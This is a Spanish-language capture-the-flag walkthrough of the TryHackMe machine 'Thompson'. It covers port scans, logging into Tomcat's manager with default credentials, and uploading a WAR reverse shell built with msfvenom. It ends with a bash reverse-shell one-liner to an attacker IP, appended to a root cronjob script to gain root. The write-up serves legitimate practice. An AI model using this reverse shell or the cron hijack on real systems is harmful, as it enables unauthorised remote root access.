Thompson es una maquina de TryHackMe originalmente para Bsides Guatemala, donde ingresamos con credenciales por defecto en Tomcat para luego obtener una shell generando un archivo WAR y ejecutandolo. Escalamos privilegios editando un fichero utilizado por un CronJob.
Room
Titulo |
Thompson |
Descripción |
boot2root machine for FIT and bsides guatemala CTF |
Puntos |
160 |
Dificultad |
Facil |
Maker |
stuxnet |
MASSCAN & NMAP
Escaneo de puertos udp/tcp y sus servicios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
root@kali:~/trymehack/thompson# masscan -p1-65535,U:1-65535 10.10.3.147 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 09:27:46 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.3.147
Discovered open port 22/tcp on 10.10.3.147
# Nmap 7.70 scan initiated Tue Sep 3 05:34:12 2019 as: nmap -sV -sC -p8080,22 -o nmap.scan 10.10.3.147
Nmap scan report for 10.10.3.147
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 3 05:34:26 2019 -- 1 IP address (1 host up) scanned in 14.01 seconds
|
HTTP - PUERTO 8080
Pagina en el puerto 8080 nos muestra que esta corriendo thompson.
TOMCAT - DEFAULT CREDENTIALS
Utilizamos las credenciales por default y el panel de tomcat para iniciar sesion.
REVERSE SHELL - JSP
Creamos nuestro payload con msfvenom y ponemos a la escucha metasploit.
Subimos nuestro archivo shell.war y al abrirlo se ejecutará nuestra shell.
Obtenemos nuestra flag user.txt
.
PRIVILEGE ESCALATION
Utilizamos pspy para ver los cronjobs que se ejecutan. Vemos un archivo que se ejecuta y este se encuentra en /home/jack/id.sh
.
Agregamos una shell inversa al archivo id.sh
y esperamos hasta que se ejecute de nuevo.
1
|
echo "bash -i >& /dev/tcp/10.8.1.72/1338 0>&1" >> script.sh
|
Obtenemos nuestra shell como usuario root y nuestra flag root.txt
.